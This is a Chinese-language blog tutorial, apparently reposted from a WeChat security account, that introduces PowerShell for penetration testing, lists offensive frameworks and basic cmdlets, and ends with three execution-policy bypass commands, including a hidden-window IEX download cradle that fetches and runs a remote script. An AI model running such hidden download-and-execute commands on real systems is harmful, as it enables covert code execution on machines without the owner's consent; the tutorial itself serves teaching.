PowerShell:概述

admin 2022年4月19日01:38:17评论72 views字数 3702阅读12分20秒阅读模式

在渗透测试中,PowerShell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有令人难以置信的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行。这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。


常用的PowerShell攻击工具有以下这几种。


PowerSplit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。


Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。


Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。


PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。


1、PowerShell简介


Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows 7/Windows 2008 R2和更高版本),使命令行用户和脚本编写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行,也可以把PowerShell看作命令行提示符cmd.exe的扩充。


PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性,可以位居当前所有Shell之首。PowerShell的这些特点正在吸引攻击者,使它逐渐成为一个非常流行且得力的攻击工具。PowerShell有以下这几个优点。


 Windows 7以上的操作系统默认安装。


 PowerShell脚本可以运行在内存中,不需要写入磁盘。


 可以从另一个系统中下载PowerShell脚本并执行。


 目前很多工具都是基于PowerShell开发的。


 很多安全软件并不能检测到PowerShell的活动。


 cmd.exe通常会被阻止运行,但是PowerShell不会。


 可以用来管理活动目录。


各个Windows系统下的PowerShell版本,如图1所示。

PowerShell:概述

图1  各个操作系统对应的PowerShell版本


可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本,如图2所示。

PowerShell:概述

图2  查看PowerShell版本


2、PowerShell的基本概念


(1)PS1文件


一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。


(2)执行策略


为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限。


在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。


Get-ExecutionPolicy:获取当前执行策略。


Restricted:脚本不能运行(默认设置)。


RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。


AllSigned:仅当脚本由受信任的发布者签名时才能运行。


Unrestricted:允许所有的script运行。


还可以使用下面的cmdlet命令设置PowerShell的执行策略。


Set-ExecutionPolicy <policy name>


(3)运行脚本


运行一个PowerShell脚本,必须键入完整的路径和文件名,例如,要运行一个名为a.ps1的脚本,可以键入C:Scriptsa.ps1。最大的例外是,如果PowerShell脚本文件刚好位于系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.a.ps1的前面就加上了“.”,这和在Linux下执行Shell脚本的方法一样。


(4)管道


管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接。


举一个例子来看下管道是如何工作的,假设停止所有目前运行中的,以“p”字符开头命名的程序,命令如下所示。


PS> get-process p* |stop-process


3、PowerShell的常用命令


(1)基本知识


在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-ltem,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-Childltem命令使用dir或ls均可,而且PowerShell命令不区分大小写。


下面以文件操作为例介绍PowerShell命令的基本用法。


新建目录:New-ltem whitecellclub-ltemType Directory。


新建文件:New-ltem light.txt-ltemType File。


删除目录:Remove-ltem whitecellclub。


显示文本内容:Get-Content test.txt。


设置文本内容:Set-Content test.txt-Value"hell,word!"。


追加内容:Add-Content light.txt-Value"i love you"。


清除内容:Clear-Content test.txt。


(2)常用命令


还可以通过Windows终端提示符输入PowerShell,进入PowerShell命令行,输入help命令显示帮助菜单,如图3所示。

PowerShell:概述

图3  查看PowerShell的帮助


如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种。


 绕过本地权限执行(如图4所示)


上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。


PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1


 本地隐藏绕过权限执行脚本


PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-Nonlnteractive-NoProfile-File xxx.ps1


 用IEX下载远程PS1脚本绕过权限执行


PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile–NonI IEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]


下面对上述命令的参数进行说明,如下所示。


ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。


WindowStyle Hidden:隐藏窗口。


NoLogo:启动不显示版权标志的PowerShell。


Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。


NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。


Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。


PowerShell脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本,如图4所示。


PowerShell:概述

图4  绕过安全策略



PowerShell:概述


PowerShell:概述

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结


PowerShell:概述

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):PowerShell:概述

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日01:38:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PowerShell:概述http://cn-sec.com/archives/919851.html

发表评论

匿名网友 填写信息